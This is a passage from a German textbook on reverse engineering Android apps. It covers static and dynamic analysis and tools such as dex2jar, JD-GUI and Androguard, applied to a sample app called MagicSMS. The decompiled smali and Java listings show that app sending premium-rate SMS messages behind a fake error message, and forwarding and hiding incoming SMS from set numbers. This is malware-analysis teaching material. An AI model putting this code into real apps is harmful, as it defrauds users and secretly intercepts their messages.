Code zu erkennen, ohne dass man einen menschlichen Experten oder Methoden
maschinellen Lernens hinzuzieht. In der Praxis verwendet Malware Verschleierungstechniken
(auch Obfuscation genannt), die die statische Analyse zusätzlich
erschweren. Zudem werden oft Bestandteile des Quellcodes verschlüsselt, sodass
es einem Analysten ohne Kenntnis des Schlüssels und des verwendeten Algorithmus
unmöglich ist, den Quellcode zu entschlüsseln.
Auf die manuelle statische Analyse – also das klassische Reverse Engineering
– werden wir uns in den Kapiteln 3, 5 und 7 konzentrieren.

40 2 Chancen und Risiken des Reversings
2.2 Dynamische Analyse
Im Gegensatz zur statischen Analyse setzt die dynamische Analyse nicht auf das
Inspizieren von Quellcode und die Mustersuche, sondern führt die Applikation
in einer kontrollierten und vollständig überwachten Umgebung – auch Sandbox1
genannt – aus.
Auf die Android-Welt übertragen bedeutet dies, dass eine Sandbox eine Instanz
des Android-OS ist, die das System so isoliert, dass die Malware an der
Ausführung von schädlichen Aktionen für den Benutzer oder den Analyserechner
gehindert wird. Durch die Überwachung und Protokollierung aller relevanten
Ausführungen wird im Anschluss an die Ausführung vollautomatisiert ein
Bericht mit allen interessanten Aktionen erstellt. In einem solchen Bericht kann
ein Analyst beispielsweise ausgehende Datenverbindungen und Änderungen auf
der Festplatte identifizieren, die durch die analysierte Applikation vorgenommen
wurden.
Der Vorteil der dynamischen Analyse ist hierbei, dass zur Laufzeit jeglicher
Quellcode entschlüsselt und im Klartext vorliegt. Hierdurch sind die Probleme
der statischen Analyse (Obfuscation und Codeverschlüsselung) umgangen und
ein Analyst sieht mit wenig Aufwand, welche Aktionen die Applikation ausführt.
Der Nachteil ist jedoch, dass diese Techniken auch für Autoren von Schadcode
und Entwickler keine Neuheiten mehr sind. Gängige Sandboxen lassen sich zur
Laufzeit erkennen und so kann ein Entwickler dafür sorgen, dass ein gewisses
Verhalten nur auf einem echten und nicht überwachten Gerät ausgeführt wird.
Ebenso ist die Ereignis-Abdeckung ein gravierender Punkt bei der dynamischen
Analyse. Gibt es beispielsweise eine Methode innerhalb der Android-Applikation,
die nur aufgerufen wird, wenn eine SMS-Nachricht mit einem gewissen Inhalt
auf dem Gerät eingeht, so wird diese Aktion bei der Ausführung innerhalb einer
Sandbox auch nur protokolliert, wenn eine solche Nachricht auch wirklich
eingeht.
Auf diese Art der Analyse werden wir in Abschnitt 4.2.1 und auch in Abschnitt
6.3 tiefer eingehen.
2.3 Vergleich der beiden Techniken
Schon Moser et al. [11] haben im Jahre 2007 aufgezeigt, dass diese beiden Techniken
massive Vor- und Nachteile haben. Dies hat sich bis heute, trotz jahrelanger
Weiterentwicklung, nicht geändert.
Hat sich ein Entwickler die Mühe gemacht und wichtige Codefragmente
durch Obfuscation oder Verschlüsselung geschützt, so wird es bei einer manuellen
Analyse sehr aufwendig, diesen Code wieder in einer lesbaren und analysierbaren
1 Bishop [3] definiert eine solche Sandbox als »an environment in which the actions of
a process are restricted according to a security policy«.

2.4 Schlussfolgerung 41
Version zu erhalten. Zudem sorgt Obfuscation auch dafür, dass Techniken, die
auf die Erkennung von Mustern oder Signaturen beruhen, sehr schnell falsche
Ergebnisse liefern.
Hier liegen die Vorteile der dynamischen Analyse, da sie Systemaufrufe mitschneidet,
während sie durch die Applikation erzeugt werden, und zu diesem
Zeitpunkt müssen die Aufrufe sowie die Werte der verwendeten Variablen unverschlüsselt
und deobfuskiert sein. Ebenso ist es möglich, während einer solchen
Analyse den Inhalt von Variablen zu verfolgen, um so festzustellen, was mit gewissen
Werten über die Ausführungszeit der Applikation geschieht (wenn z. B.
eine Applikation das Adressbuch des Telefons in eine Variable speichert, kann
so festgestellt werden, ob die Inhalte dieser Variablen nachher das Telefon verschlüsselt
verlassen oder nur intern verwendet werden).
Leider hat aber auch diese Technik, wie bereits zuvor erwähnt, ihre Schwächen.
Bekannte Analyseumgebungen ([9], [14], [17], [18] und [8]) können durch
eine Applikation erkannt werden, sodass sie sich in diesem Fall harmlos verhalten
kann und ein Analyst keine Erkenntnis über ihren wahren Funktionsumfang
erhält. Oft wird es in der Realität jedoch gar nicht so kompliziert. Viele, vor allem
schadhafte Applikationen führen ihr verdächtiges Verhalten erst aus, wenn
gewisse äußere Umstände eintreten, die man bei der dynamischen Analyse nur
selten erreicht. Hierzu zählen z. B. eine gewisse Dauer, die die Applikation läuft,
oder nutzerbasierte Aktionen, wie das Eingehen eines Anrufes oder das Laden des
Telefons.
2.4 Schlussfolgerung
Als Ergebnis aus den zuvor beschriebenen Analysemethoden und deren Vergleich
bleibt einem Sicherheitsanalysten nur übrig, sich in beiden Analysemethoden auszukennen
und diese clever zu kombinieren. Hierdurch kann er die Stärken von
beiden Techniken verbinden und die Schwächen nahezu ausmerzen.

43
3 Reversing von Android-Applikationen
Nachdem in Kapitel 1 bereits die Grundstruktur einer Android-Applikation beschrieben
wurde, wollen wir nun darauf eingehen, wie man verdächtige Applikationen
untersuchen kann. Dabei werden wir in diesem Kapitel mit der manuelle
Analyse mithilfe bekannter Tools wie beispielsweise dex2jar und JD-GUI beginnen
und so demonstrieren, wie der Sicherheitsanalyst möglichst nahe an den
eigentlichen Quellcode der Applikation kommt. Dies ist nötig, um genau nachvollziehen
zu können, wie eine Applikation funktioniert und auf welche Ressourcen
sie zugreift. Somit bildet dieses Kapitel die Basis für die in Kapitel 4 gezeigte
Schwachstellensuche.
3.1 Vorgehensweisen beim Reversing von
Android-Applikationen
Bei der statischen Analyse einer Android-Applikation gibt es ein gutes Muster,
nach dem man vorgehen kann, um erste Anhaltspunkte über die Funktionen einer
Applikation herauszufinden:
1. Beschaffen der zu untersuchenden Applikation
2. Entpacken der apk-Datei (gepackte Android-Applikation)
3. Auslesen des Android-Manifests
4. Übersetzen des Dalvik-Bytecodes in Java-Bytecode
5. Umwandeln des Java-Bytecodes in herkömmlichen Java-Code oder sogenannte
Zwischendarstellungssprachen wie Jimple oder smali
6. Analysieren des so generierten Codes
Diesem Muster wollen wir nun auch folgen und anhand unserer malware.apk –
eine bösartige Android-Applikation – eine statische Analyse durchführen. Dies
ist eine eher einfache Android-Applikation, die sich jedoch sehr schön zur Veranschaulichung
der Werkzeuge und Arbeitsabläufe eignet. Abbildung 3–1 zeigt
hierbei den zuvor beschriebenen Weg und wo man als Analyst durch den Einsatz
von in Abschnitt 3.4 gezeigten Tools eine Abkürzung gehen kann.

44 3 Reversing von Android-Applikationen
JADx-GUI / Androguard / Codeinspect
adb pull
Smartphone
apk-Datei
unzip
aapt
extrahierte
apk-Datei
AndroidManifest
(original)
dex2jar / enjarify
baksmali
JD-GUI
AndroidManifest
(lesbar)
Dalvik-Bytecode
(dex-Datei)
Java-Bytecode
(jar-Datei)
(Java, Jimple, smali)
Abb. 3–1: Darstellung der Vorgehensweisen beim Reversing von Android-Applikationen
3.2 Beschaffen der zu untersuchenden Applikation
Der wichtigste Punkt des Reversings liegt noch vor dem eigentlichen Ablauf: Der
Analyst muss in Besitz der Applikation gelangen, die er analysieren möchte. Dies
kann über den Google Play Store und eine manipulierte API1 geschehen, oder
durch Extraktion vom Mobiltelefon selbst. Im Folgenden wird der zweite Weg
gezeigt.
Möchten wir also die Malware-Applikation extrahieren, so rufen wir den
PackageManager von Android auf und suchen darüber nach unserer Applikation:
$: adb shell pm list packages | grep magicsms
package: com.magicsms.own
Codebeispiel 3–1: Auflistung der installierten Applikationen und Suche nach MagicSMS
Nachdem wir nun den genauen Namen des Android-Paketes wissen, das zu dieser
Applikation gehört, können wir auf die Suche nach der Applikation gehen. Hierzu
können wir wieder den PackageManager von Android wie folgt verwenden:
$: adb shell pm path com.magicsms.own
package: /data/app/com.magicsms.own-1.apk
Codebeispiel 3–2: Suche nach der MagicSMS-Applikation auf dem Android-Smartphone
1 Google Play Store API: https://github.com/egirault/googleplay-api

3.3 Analysieren des Android-Manifests und Entpacken der Applikation 45
Mit diesen Daten können wir uns nun die apk-Datei auf den Analyserechner
kopieren:
$: adb pull /data/app/com.magicsms.own-1.apk malware.apk
Codebeispiel 3–3: Extraktion der MagicSMS-Applikation und Sicherung unter dem neuen Namen
malware.apk
Möchte man eine Applikation aus einem Google Store, der außerhalb der eigenen
Region liegt, analysieren und hat man diese Applikation auf keinem der Testgeräte
installiert, so gibt es Webseiten, die in der Lage sind, auch Applikationen aus
anderen Ländern oder Bereichen zu beschaffen. Dazu gehören u. a.:
■
■
http://apkleecher.com/
https://apps.evozi.com/apk-downloader/
3.3 Analysieren des Android-Manifests und
Entpacken der Applikation
Um mit der Analyse einer Android-Applikation nach dem zuvor beschriebenen
Muster zu starten, sind Werkzeuge nötig, die aus dem Android-SDK und dem
Betriebssystem stammen. Im Wesentlichen sind dies aapt und unzip.
Zuerst betrachten wir das Android-Manifest unserer Applikation, um zu sehen,
welche Berechtigungen die Applikation bei der Installation vom Nutzer anfragt
und wo der richtige Einsprungpunkt für die weitere Analyse ist. Die angeforderten
Berechtigungen erhalten wir mit folgendem Aufruf von aapt:
$: aapt d permissions malware.apk
package: com.magicsms.own
uses-permission: name='android.permission.SEND_SMS'
uses-permission: name='android.permission.RECEIVE_SMS'
uses-permission: name='android.permission.ACCESS_GPS'
uses-permission: name='android.permission.ACCESS_LOCATION'
Codebeispiel 3–4: Auflistung der angeforderten Berechtigungen mithilfe von aapt
Anhand dieser Ausgabe sehen wir, dass die Applikation an den Lokalisierungsdaten
des Mobiltelefons interessiert ist (ACCESS_GPS sowie ACCESS_LOCATION)
und zusätzlich die Rechte hat, um SMS zu lesen (RECEIVE_SMS) und zu versenden
(SEND_SMS). Da die Applikation keine weiteren Berechtigungen besitzt, ist
das schon sehr verdächtig. Denn selbst eine Applikation, die als Ersatz für die

46 3 Reversing von Android-Applikationen
eingebaute SMS-Applikation gilt und daher die Berechtigungen zum Lesen und
Senden von SMS-Nachrichten besitzen muss, benötigt zusätzlich noch die Berechtigung
zum Lesen der Kontakte (READ_CONTACTS), da sie sonst keinen
Zugriff auf Telefonnummern des Nutzers hat. Um nun etwas mehr über die Applikation
zu erfahren, suchen wir nach den Einsprungpunkten und lassen uns
hierfür das gesamte Manifest anzeigen:
$: aapt d xmltree malware.apk AndroidManifest.xml
E: activity (line=16)
A: android:label(0x01010001)=@0x7f040001
A: android:name(0x01010003)=".MagicSMSActivity" (Raw:
".MagicSMSActivity")
E: intent-filter (line=17)
A: android:priority(0x0101001c)=(type 0x10)0x64
E: action (line=18)
A: android:name(0x01010003)="android.intent.action.MAIN" (Raw:
"android.intent.action.MAIN")
E: category (line=19)
A: android:name(0x01010003)="android.intent.category.LAUNCHER"
(Raw: "android.intent.category.LAUNCHER")
E: receiver (line=21)
A: android:name(0x01010003)=".receiver.SMSReceiver" (Raw:
".receiver.SMSReceiver")
A: android:enabled(0x0101000e)=(type 0x12)0xffffffff
C: "\n- "
E: intent-filter (line=22)
A: android:priority(0x0101001c)=(type 0x10)0x64
E: action (line=23)
A: android:name(0x01010003)="android.provider.Telephony.
SMS_RECEIVED" (Raw: "android.provider.Telephony.SMS_RECEIVED")
Codebeispiel 3–5: Ausgabe des gesamten Manifests einer Android-Applikation mittels aapt
In diesem Auszug sehen wir, dass die Main-Activity – darunter versteht man die
Benutzeroberfläche der Applikation, die gestartet wird, wenn der Nutzer die Applikation
über einen Klick auf das Icon öffnet – MagicSMSActivity heißt. Dies ist
daran zu erkennen, dass sie die action MAIN zugewiesen hat. Zudem sehen wir,
dass bei jeder eingehenden SMS-Nachricht auf dem Telefon der folgende Receiver
innerhalb der Applikation angesteuert wird: receiver.SMSReceiver.
Diese beiden Punkte sind ideal, um die Analyse des Quellcodes zu beginnen.
Zur weiteren Analyse müssen wir die apk-Datei entpacken, um so an den Dalvik-

3.4 Werkzeuge zum Analysieren der Applikationen 47
Bytecode zu gelangen. Hierfür verwenden wir ganz herkömmlich Werkzeuge des
Betriebssystems, auf dem wir arbeiten. In diesem Fall unzip:
$: unzip malware.apk
Archive: malware.apk
signed by SignApk
inflating: META-INF/MANIFEST.MF
inflating: META-INF/CERT.SF
inflating: META-INF/CERT.RSA
inflating: AndroidManifest.xml
inflating: classes.dex
extracting: res/drawable-hdpi-v4/icon.png
extracting: res/drawable-ldpi-v4/icon.png
extracting: res/drawable-mdpi-v4/icon.png
inflating: res/layout/main.xml
inflating: resources.arsc
Codebeispiel 3–6: Entpacken der Android-Applikation
Um aus dem Dalvik-Bytecode, der in der Datei classes.dex gespeichert ist, den
Java-Bytecode zu erhalten, müssen wir weitere Tools verwenden, auf die wir im
Folgenden eingehen.
3.4 Werkzeuge zum Analysieren der Applikationen
Die im Folgenden gezeigten Werkzeuge folgen im Hintergrund immer der zu Beginn
des Kapitels vorgestellten Reihenfolge, jedoch können einige von ihnen mehrere
dieser Schritte automatisch im Hintergrund ausführen. Je nach zu analysierender
Applikation kann es sinnvoll sein, mehrere dieser Tools zu verwenden, da
sie alle ihre Vor- und Nachteile haben, die man meist erst während der Analyse
feststellt.
3.4.1 dex2jar
Wie wir bereits aus den vorangegangenen Abschnitten wissen, ist der eigentliche
Code einer Applikation nicht im Klartext vorhanden, wenn man die apk-Datei
entpackt. Da es für eine aussagekräftige Analyse einer verdächtigen Applikation
sehr wichtig ist, möglichst nahe an den ursprünglichen Code einer Applikation
zu gelangen (oder an eine andere interpretierbare Form des Quellcodes), werden
häufig kostenlose und gut gepflegte Tools wie dex2jar2 eingesetzt.
2 dex2jar: https://github.com/pxb1988/dex2jar

48 3 Reversing von Android-Applikationen
Das Tool dex2jar versucht, den Dalvik-Bytecode zurück in Java-Bytecode zu
übersetzen, um so die weitere Analyse mit Werkzeugen zu ermöglichen, die schon
seit Jahrzehnten für diesen Zweck verwendet werden. Hierzu zählt unter anderem
das Programm JD-GUI – ein grafischer Decompiler für Java-Bytecode –, das in
einem der folgenden Abschnitte ebenfalls demonstriert wird.
Zum Anstoßen dieser Bytecode-Übersetzung benötigen wir die Datei
classes.dex aus der entpackten Android-Applikation sowie den folgenden Befehl:
$: dex2jar.sh classes.dex
dex2jar version: translator-0.0.9.15
dex2jar classes.dex -> classes_dex2jar.jar
Done.
Codebeispiel 3–7: Übersetzen des Dalvik-Bytecodes in Java-Bytecode mittels dex2jar
Als Ergebnis der Übersetzung erhalten wir im Idealfall eine Datei namens
classes_dex2jar.jar. Diese Datei enthält nun den Java-Bytecode der zu analysierenden
Applikation.
Leider gibt es immer wieder Methoden oder ganze Klassen, die dex2jar nicht
in Java-Bytecode übersetzen kann. An diesem Punkt kann der Analyst auf Tools
wie enjarify oder smali ausweichen. Der Grund für diese Probleme ist recht einfach:
Da sehr viel Wissen und geistiges Eigentum (engl. Intellectual Property) in
diesen mobilen Applikationen enthalten ist, versuchen die Hersteller, ein Analysieren
möglichst komplex zu gestalten, um den Nachbau einer Konkurrenzapplikation
zu verhindern oder zumindest zu erschweren. Dies gelingt ihnen u. a. durch
den Einsatz sogenannter Obfuscation-Techniken, die von einfachem Verschleiern
von Quellcode-Bestandteilen bis hin zum Auslösen von Fehlern in Werkzeugen
wie dex2jar eine Vielzahl an Funktionen besitzen.
3.4.2 enjarify
Wie auch schon bei dex2jar handelt es sich bei enjarify3 um ein Werkzeug zur
Übersetzung von Dalvik-Bytecode in Java-Bytecode. Der Vorteil von enjarify
gegenüber dex2jar liegt im Wesentlichen darin, dass es gepflegt und weiterentwickelt
wird und somit konstant auf dem neuesten Stand ist. Hinzu kommen
noch die Unterstützung für Klassennamen mit Unicode-Zeichen und die korrekte
Handhabung von sehr langen Methoden, die bei dex2jar zu Fehlern oder im
schlimmsten Fall zu Abstürzen geführt haben. Doch auch enjarify ist nicht frei
von Fehlern oder Problemen, daher ist es beim Reversing immer wichtig, dass
man mehrere Werkzeuge in seiner Toolchain hat, die man für einen gewissen
Zweck verwenden kann.
3 enjarify: https://github.com/google/enjarify

3.4 Werkzeuge zum Analysieren der Applikationen 49
Zum Anstoßen dieser Bytecode-Übersetzung benötigen wir entweder wieder
die Datei classes.dex aus der entpackten Android-Applikation oder einfach nur
die apk-Datei sowie den folgenden Befehl:
$: enjarify.sh [classes.dex|malware.apk]
Using python3 as Python interpreter
8 classes processed
Output written to classes-enjarify.jar
8 classes translated successfully, 0 classes had errors
Codebeispiel 3–8: Übersetzen des Dalvik-Bytecodes in Java-Bytecode mittels enjarify
Als Ergebnis der Übersetzung erhalten wir im Idealfall eine Datei namens classesenjarify.jar.
Diese Datei enthält den Java-Bytecode unserer zu analysierenden
Applikation und wir können wieder, wie schon zuvor bei dex2jar, mit unserem
Java-Bytecode-Decompiler die Analyse fortführen.
3.4.3 baksmali
baksmali4 übersetzt den Dalvik-Bytecode in eine neue Sprache, die sehr der Syntax
von Jasmin oder dedexer ähnelt und den Namen smali trägt. Diese Sprache
ist sehr einfach zu lesen, da sie stark vereinfacht ausgedrückt eine Mischung aus
Java und Pseudocode ist. Ein weiterer Vorteil hiervon ist, dass es mittels smali
sogar möglich ist, den Code nach dem Dekompilieren zu verändern und wieder
zu einer lauffähigen Applikation zusammenzubauen. So lassen sich Applikationen
manipulieren und auch auf Geräten ausführen, auf denen sie eigentlich nicht
lauffähig sind (z. B. aufgrund von Sicherheitsrestriktionen oder fehlenden Hardwarekomponenten).
Die Übersetzung von Dalvik-Bytecode in smali erfolgt durch Eingabe des in
Codebeispiel 3–9 gezeigten Aufrufs.
$: java -jar baksmali.jar malware.apk -o decompiled_output
Codebeispiel 3–9: Übersetzen des Dalvik-Bytecodes in smali
Das Ergebnis der Übersetzung ist eine Ordnerstruktur (siehe Abbildung 3–2), die
auch der Struktur des Java-Paketes entspricht mit den übersetzten Java-Klassen
als einzelne smali-Dateien.
Smali ist deutlich näher am ursprünglichen Bytecode, als es beispielsweise
Java oder die später noch gezeigte Jimple-Sprache ist. Dennoch ist sie mit etwas
Übung sehr einfach zu lesen, wie in Codebeispiel 3–10 zu sehen ist.
4 smali/baksmali: https://bitbucket.org/JesusFreke/smali/downloads

50 3 Reversing von Android-Applikationen
Abb. 3–2: Ordnerstruktur nach erfolgreicher Übersetzung von Dalvik-Bytecode zu smali
.method public onCreate(Landroid/os/Bundle;)V
.param p1, "savedInstanceState" # Landroid/os/Bundle;
const/4 v2, 0x0
invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(
Landroid/os/Bundle;)V
const-string v4, "ERROR: Android version is not compatible"
const/4 v5, 0x1
invoke-static {p0, v4, v5}, Landroid/widget/Toast;->makeText(
Landroid/content/Context;Ljava/lang/CharSequence;I)
Landroid/widget/Toast;
move-result-object v8
.local v8, "ts":Landroid/widget/Toast;
invoke-virtual {v8}, Landroid/widget/Toast;->show()V
const-string v4, "phone"
invoke-virtual {p0, v4}, Lcom/magicsms/own/MagicSMSActivity;->
getSystemService(Ljava/lang/String;)Ljava/lang/Object;
move-result-object v7
check-cast v7, Landroid/telephony/TelephonyManager;
.local v7, "tm":Landroid/telephony/TelephonyManager;
invoke-virtual {v7}, Landroid/telephony/TelephonyManager;->
getSimCountryIso()Ljava/lang/String;
move-result-object v6
.local v6, "countryCode":Ljava/lang/String;
const-string v4, "fr"
invoke-virtual {v6, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
, v4
if-eqz v4, :cond_3f
const-string v1, "81001"
.local v1, "SMSNumber":Ljava/lang/String;

3.4 Werkzeuge zum Analysieren der Applikationen 51
const-string v3, "STAR"
.local v3, "SMSMessage":Ljava/lang/String;
:goto_26
invoke-static {}, Landroid/telephony/SmsManager;->getDefault()
Landroid/telephony/SmsManager;
move-result-object v0
.local v0, "sms":Landroid/telephony/SmsManager;
move-object v4, v2
move-object v5, v2
invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->
sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;
Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
move-object v4, v2
move-object v5, v2
invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->
sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;
Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
move-object v4, v2
move-object v5, v2
invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->
sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;
Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
move-object v4, v2
move-object v5, v2
invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->
sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;
Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
return-void
.......
.end method
Codebeispiel 3–10: Quellcode-Auszug der Main-Activity der fragwürdigen Android-
Applikation in smali
3.4.4 JD-GUI
Die mithilfe von dex2jar erhaltene Datei classes_dex2jar.jar können wir durch
Verwendung von JD-GUI5 weiter analysieren. Nach erfolgreichem Öffnen des
5 JD-GUI: http://jd.benow.ca/

52 3 Reversing von Android-Applikationen
Abb. 3–3: JD-GUI-Ansicht der zu analysierenden Android-Applikation
Java-Bytecodes sehen wir direkt die zwei Java-Klassen, die den Receiver und die
Main-Activity enthalten (siehe Abbildung 3–3).
Als Erstes betrachten wir nun den Receiver, der – wie wir durch Analyse des
Manifests gesehen haben – jedes Mal aufgerufen wird, wenn auf dem Gerät eine
SMS-Nachricht empfangen wird:
String str1 = arrayOfSmsMessage[0].getMessageBody();
str2 = arrayOfSmsMessage[0].getDisplayOriginatingAddress();
if ((!str2.equals("81001")) && (!str2.equals("35064"))
&& (!str2.equals("63000")) && (!str2.equals("9903"))
&& (!str2.equals("60999")) && (!str2.equals("543"))
&& (!str2.equals("64747")))
abortBroadcast();
SmsManager.getDefault().sendTextMessage("0646112264", null, str1, null,
null);
Codebeispiel 3–11: Quellcode des Receivers der fragwürdigen Android-Applikation
Hier sieht man sehr schön, dass die Applikation jede empfangene SMS-Nachricht
auf den Absender der Nachricht prüft. Gehört dem Absender eine der angegebenen
Nummern (81001, 35064, 63000, 9903, 60999, 543, 64747), so wird
verhindert, dass der Broadcast weitere Applikationen erreicht und eine SMS-
Nachricht an eine feste Nummer (0646112264) versendet, die den Inhalt der
ursprünglichen Nachricht beinhaltet. Das Abbrechen des Broadcasts führt dazu,
dass der Nutzer nie mitbekommt, dass diese SMS-Nachricht überhaupt auf seinem
Telefon eingegangen ist.

3.4 Werkzeuge zum Analysieren der Applikationen 53
Als Nächstes untersuchen wir die Main-Activity, um zu sehen, welche Aktionen
die Applikation ausführt, wenn der Nutzer versucht, sie über einen Klick auf
das Icon – also den herkömmlichen Weg – zu starten:
public void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
Toast.makeText(this, "ERROR: Android version is not compatible", 1)
.show();
String str1 = ((TelephonyManager)getSystemService("phone"))
.getSimCountryIso();
String str2;
String str3;
if (str1.equals("fr"))
{
str2 = "81001";
str3 = "STAR";
}
while (true)
{
SmsManager localSmsManager = SmsManager.getDefault();
localSmsManager.sendTextMessage(str2, null, str3, null, null);
localSmsManager.sendTextMessage(str2, null, str3, null, null);
localSmsManager.sendTextMessage(str2, null, str3, null, null);
localSmsManager.sendTextMessage(str2, null, str3, null, null);
return;
if (str1.equals("be"))
{
str2 = "9903";
str3 = "GA SP";
}
else if (str1.equals("ch"))
{
str2 = "543";
str3 = "GEHEN SP 300";
}
else if (str1.equals("lu"))
{
str2 = "64747";
str3 = "ACCESS SP";
}

54 3 Reversing von Android-Applikationen
else if (str1.equals("ca"))
{
str2 = "SP";
str3 = "60999";
}
else if (str1.equals("de"))
{
str2 = "63000";
str3 = "SP 462";
}
else if (str1.equals("es"))
{
str2 = "35064";
str3 = "GOLD";
}
else if (str1.equals("gb"))
{
str2 = "60999";
str3 = "SP2";
}
else
{
str2 = "00000";
str3 = "WUUT";
}
}
}
Codebeispiel 3–12: Quellcode der Main-Activity der fragwürdigen Android-Applikation in
Java
Betrachtet man diesen Quellcode, so sieht man, dass die Applikation direkt nach
dem Start einen sogenannten Toast erzeugt mit der Fehlermeldung »ERROR:
Android version is not compatible«. Ein Toast in Android ist vergleichbar mit
einem Pop-up unter Windows. Im Anschluss liest die Applikation mithilfe des
TelephonyManager die ISO-Codierung der SIM-Karte aus. Diese Codierung wird
im weiteren Verlauf dazu benutzt, passende String-Paare zu finden. Für die Codierung
für Deutschland (de) ergibt sich hierbei das Paar 63000;SP 462. Diese beiden
Strings werden im Anschluss verwendet, um vier SMS-Nachrichten zu versenden.
Die Nummer, an die SMS-Nachrichten versendet werden, ist dabei die
63000 mit dem Text SP 462. Hierbei handelt es sich um sogenannte Premium-
SMS-Nachrichten, die den Nutzer viel Geld kosten können.

3.4 Werkzeuge zum Analysieren der Applikationen 55
3.4.5 JADx-GUI
Im Gegensatz zu JD-GUI ist JADx-GUI6 ohne Unterstützung von externen Bytecode-Übersetzern
in der Lage, eine Android-Applikation in Java-Code zu übersetzen.
Dieses Werkzeug kann apk-Dateien öffnen und wandelt den Dalvik-Bytecode
im Hintergrund automatisch in Java-Code um. Hierdurch wird nur noch ein einziges
Tool benötigt, mit dessen Hilfe der Analyst den zu Beginn des Abschnitts 3.1
beschriebenen Workflow durchführen kann.
Abb. 3–4: JADx-GUI-Ansicht des Android-Manifests der zu analysierenden Android-Applikation
In den Abbildungen 3–4 und 3–5 sieht man sehr schön, dass JADx-GUI nicht
nur sämtliche Java-Klassen der Applikation darstellen kann, sondern auch das
Android-Manifest in einer lesbaren Form anzeigt.
Doch auch dieses Tool ist nicht perfekt. Das Werkzeug steckt noch in den
frühen Phasen der Entwicklung und man sieht daher immer wieder Meldungen,
die darauf hindeuten, dass gewisse Funktionen noch nicht implementiert sind.
3.4.6 Androguard
Androguard7 ist ein weiteres, sehr mächtiges Werkzeug, das zur Analyse von
Android-Applikationen verwendet werden kann. Im Gegensatz zu den meisten
6 JADx-GUI: https://github.com/skylot/jadx
7 Androguard: https://github.com/androguard/androguard

56 3 Reversing von Android-Applikationen
Abb. 3–5: JADx-GUI-Ansicht der zu analysierenden Android-Applikation
hier gezeigten Tools ist es deutlich interaktiver aufgebaut und dadurch auch im
Umgang für den Sicherheitsanalysten komplexer.
Die nachfolgende Auflistung zeigt eine mögliche Abfolge von Analyseschritten:
1. Die interaktive Umgebung starten wir durch Eingabe von:
python androlyze.py -s
2. Im ersten Schritt müssen wir Androguard mitteilen, welche Android-Applikation
wir analysieren möchten und welchen Decompiler wir hierfür verwenden
möchten. Dies machen wir durch folgende Eingabe:
In [1]: a,d,dx = AnalyzeAPK("malware.apk", decompiler="dad")
Codebeispiel 3–13: Übergabe der Android-Applikation zum Reversing an Androguard
3. Nun haben wir die Applikation geladen und dekompiliert. Im nächsten
Schritt können wir uns die angeforderten Berechtigungen ausgeben lassen.
Dies geschieht per:
In [2]: a.get_permissions()
Out[2]:
['android.permission.SEND_SMS',
'android.permission.RECEIVE_SMS',

3.4 Werkzeuge zum Analysieren der Applikationen 57
'android.permission.ACCESS_GPS',
'android.permission.ACCESS_LOCATION']
Codebeispiel 3–14: Auflistung der verwendeten Berechtigungen mithilfe von Androguard
4. Im Nachgang ist es wichtig, dass wir den Einsprungpunkt in die Applikation
finden. Dies gelingt uns durch Auflistung der Activities durch Eingabe des
folgenden Befehls:
In [3]: a.get_activities()
Out[3]: ['com.magicsms.own.MagicSMSActivity']
Codebeispiel 3–15: Auflistung der verwendeten Activities mithilfe von Androguard
5. Zusätzlich könnten wir uns hier auch anzeigen lassen, welche Klassen die
Applikation insgesamt besitzt, um so einen ersten Überblick zu bekommen:
In [4]: d.get_classes_names()
Out[4]:
['Lcom/magicsms/own/MagicSMSActivity;',
'Lcom/magicsms/own/R$attr;',
'Lcom/magicsms/own/R$drawable;',
'Lcom/magicsms/own/R$id;',
'Lcom/magicsms/own/R$layout;',
'Lcom/magicsms/own/R$string;',
'Lcom/magicsms/own/R;',
'Lcom/magicsms/own/receiver/SMSReceiver;']
Codebeispiel 3–16: Auflistung der vorhandenen Klassen mithilfe von Androguard
6. Nachdem wir wissen, welches die einzige aufrufbare Activity ist, schauen wir
uns hiervon den Quellcode an, um die Analyse durchzuführen. Dies erreichen
wir durch Eingabe des folgenden Befehls:
In [5]: d.get_class('Lcom/magicsms/own/MagicSMSActivity;').source()
Out[5]:
package com.magicsms.own;
public class MagicSMSActivity extends android.app.Activity {
public MagicSMSActivity()
{
return;
}

58 3 Reversing von Android-Applikationen
public void onCreate(android.os.Bundle p10)
{
String v3;
String v1;
super.onCreate(p10);
android.widget.Toast.makeText(this, "ERROR: Android version is not
compatible", 1).show();
String v6 = ((android.telephony.TelephonyManager) this.
getSystemService("phone")).getSimCountryIso();
if (!v6.equals("fr")) {
if (!v6.equals("be")) {
if (!v6.equals("ch")) {
if (!v6.equals("lu")) {
if (!v6.equals("ca")) {
if (!v6.equals("de")) {
if (!v6.equals("es")) {
if (!v6.equals("gb")) {
v1 = "00000";
v3 = "WUUT";
} else {
....
}
}
}
} else {
v1 = "81001";
v3 = "STAR";
}
android.telephony.SmsManager v0 = android.telephony.SmsManager.
getDefault();
v0.sendTextMessage(v1, 0, v3, 0, 0);
v0.sendTextMessage(v1, 0, v3, 0, 0);
v0.sendTextMessage(v1, 0, v3, 0, 0);
v0.sendTextMessage(v1, 0, v3, 0, 0);
return;
Codebeispiel 3–17: Auszug aus dem dekompilierten Quellcode der Main-Activity mit
Androguard

3.4 Werkzeuge zum Analysieren der Applikationen 59
7. Zum Abschluss können wir uns von Androguard auch noch die Receiver
anzeigen lassen, die unsere malware.apk implementiert hat. So erhalten wir
einen vollständigen Überblick über die Funktionen der Android-Applikation:
In [6]: a.get_receivers()
Out[6]: ['com.magicsms.own.receiver.SMSReceiver']
Codebeispiel 3–18: Auflistung der implementierten Receiver mithilfe von Androguard
Mit diesem Ablauf und unter Verwendung von Androguard haben wir es nun
